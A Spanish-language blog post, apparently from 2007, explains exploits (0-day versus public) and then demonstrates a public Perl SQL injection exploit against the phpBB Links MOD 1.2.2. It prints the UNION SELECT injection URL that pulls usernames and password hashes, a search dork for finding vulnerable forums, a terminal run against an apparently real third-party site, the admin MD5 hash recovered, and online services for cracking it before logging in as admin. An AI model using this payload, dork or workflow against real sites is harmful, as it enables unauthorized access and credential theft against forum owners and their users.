Ejemplo de cómo funciona un exploit
Hay que tener en cuenta siempre que TODOS los software del mundo son desarrollados por humanos, por lo tanto es normal encontrarse con errores en los códigos. Estos errores, comúnmente llamados bugs, pueden ser del tipo desbordamiento de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables, etc, etc.
Por ejemplo si se encontró un error en un software de correo el cual al enviar un telnet al servidor y ejecutar una serie de instrucciones, satura el búfer del software de correos y provoca una denegación de servicio (DoS). Entonces un hacker escribirá un código que sirva para explotar (de ahí el nombre "exploit) esta vulnerabilidad y con un par de instrucciones más quizá sea posible abrir un acceso remoto con permisos de root en el servidor afectado.
Podríamos catalogar a los exploits en dos tipos diferentes:
1.- 0-day
2.- Públicos
Los exploits de tipo 0-day son aquellos que los hackers mantienen ocultos al mundo y los utilizan para explotar los sistemas que quieren. De alguna manera son trozos de código privados.
Por otro lado los exploits públicos son aquellos que los hackers decidieron no utilizar más en su propio beneficio y los liberan públicamente a algunos de los sitios webs más conocidos como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org, etc. Muchas veces pueden pasar varios meses o años entre que el exploit pase de condición 0-day a ser público. Es por esto mismo que los primeros son más peligrosos, ya que al no conocerse la vulnerabilidad y no ser pública entonces existen muchos más servidores afectados cuyos administradores ni siquiera se enteran de que pueden ser atacados. Al hacerse públicos, normalmente se entrega la solución o bien los fabricantes de software reaccionan y sacan una actualización de seguridad crítica.
Esta es la razón por la cual hay que siempre tener dos cosas presentes:
1.- El tipo de software y la versión exacta que tenemos instalado en nuestras máquinas, ya sea como cliente (ejemplo Microsoft Outlook) o servidor (Exchange, Postfix, Sendmail, etc)
2.- Nunca dejar de revisar los sitios de exploits mencionados anteriormente. Increíblemente hay gente que se dedica a estar atentos a estos exploits para inmediatamente cuando se publica comenzar a atacar sitios webs. Estos son los llamados script-kiddies. Pero por más despectivo que parezca el nombre, son igualmente peligrosos.
Debido a eso es que en la columna izquierda de este sitio web aparecen las últimas vulnerabilidades y exploits encontrados que han sido publicadas.
Ejemplo de un exploit:
Hace un par de días (31 de Agosto) atrás salió en www.milw0rm.com el siguiente exploit:
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit
El texto es bastante claro. El módulo "Links" del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal.
Para ver el exploit haga click aquí.
Este exploit no es muy largo (ya dijimos que son pequeños trozos de código escritos para una vulnerabilidad específica) y está escrito en lenguaje PERL. Por lo tanto para ejecutarlo habrá que tener PERL instalado en nuestras máquinas. Los sistemas Linux/UNIX vienen con PERL.
Lo que se hace es copiar el código y guardarlo en un archivo con extensión .pl (de PERL).
h4x0r@tarro:~/Desktop/exploit$ ls -lh
total 4,0K
-rw-r--r-- 1 h4x0r h4x0r 1,5K 2007-09-03 11:53 phpBB2.pl
h4x0r@tarro:~/Desktop/exploit$
y simplemente ejecutarlo. En este caso nos irá pidiendo los datos del sitio web que queremos atacar. Pondré en rojo esto para diferenciarlo.
h4x0r@tarro:~/Desktop/exploit$ perl phpBB2.pl
phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit
Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*
=> Insert URL
=> without ( http )
=>
www.motoqueros.cl
=> Insert directory
=> es: /forum/ - /phpBB2/
=>
/foros/
=> User ID
=> Number:
=>
1
Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b
Y eso sería todo. El exploit fue capaz de conectarse a la base de datos y recuperar el password cifrado del usuario con ID 1 (admin en este caso). Esta cadena de 32 caracteres corresponde a un hash en md5. De mucho no nos sirve tener la clave cifrada, pero podemos recuperarla atacándola con fuerza bruta (o diccionario) en los siguientes sitios web:
http://md5.xpzone.de/
http://gdataonline.com/seekhash.php
Ponemos el hash y comprobamos la la clave de admin es 12345. Ahora podemos loguearnos en http://www.sitioweb.com/foros/ usando estos datos.
Existen exploits mucho más elaborados y poderosos, pero esto fue un ejemplo para mostrar cuan simple puede ser recuperar una contraseña o acceder ilegítimamente a un servidor cuando se le aplican los exploits correctos.
0 comentarios:
Publicar un comentario